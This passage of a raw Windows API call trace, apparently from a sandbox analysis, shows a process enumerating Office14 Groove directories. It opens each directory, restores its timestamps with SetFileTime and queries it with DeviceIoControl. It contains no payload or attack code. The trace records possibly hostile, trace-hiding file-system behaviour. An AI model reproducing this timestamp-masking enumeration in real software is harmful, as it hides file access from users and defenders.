GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis"), fInfoLevelId=0x0, lpFileInformation=0x17ae0a4 | out: lpFileInformation=0x17ae0a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.929] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.929] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.931] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.931] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.932] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.932] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.933] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.933] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.934] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.934] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.935] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.935] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.936] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.936] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a49760, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a49760, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.940] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae3a0, lpLastWriteTime=0x17ae3a0) returned 0 [0055.940] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae3f8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae3f8, lpOverlapped=0x0) returned 0 [0055.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.944] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.944] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a6da68, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a6da68, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.945] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.945] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.946] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.946] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.947] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.947] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.948] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.948] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.949] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.949] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.950] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.950] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a6da68, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a6da68, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.951] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.951] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a6da68, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a6da68, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.952] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.952] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a6da68, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a6da68, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.954] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.954] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a6da68, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a6da68, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.954] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.954] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a6da68, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a6da68, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.955] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.955] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a6da68, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0x1a6da68, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.956] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.956] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0055.957] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.958] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0055.958] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.958] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.961] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.961] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.965] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae3a0, lpLastWriteTime=0x17ae3a0) returned 0 [0055.965] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae3f8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae3f8, lpOverlapped=0x0) returned 0 [0055.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.965] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae0e8, lpLastWriteTime=0x17ae0e8) returned 0 [0055.965] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae140, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae140, lpOverlapped=0x0) returned 0 [0055.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.967] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ade30, lpLastWriteTime=0x17ade30) returned 0 [0055.967] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ade88, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ade88, lpOverlapped=0x0) returned 0 [0055.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0055.968] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x17ade30, lpLastWriteTime=0x17ade30) returned 0 [0055.968] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ade88, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ade88, lpOverlapped=0x0) returned 0 [0055.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0055.974] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.974] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.975] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.976] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" (normalized: 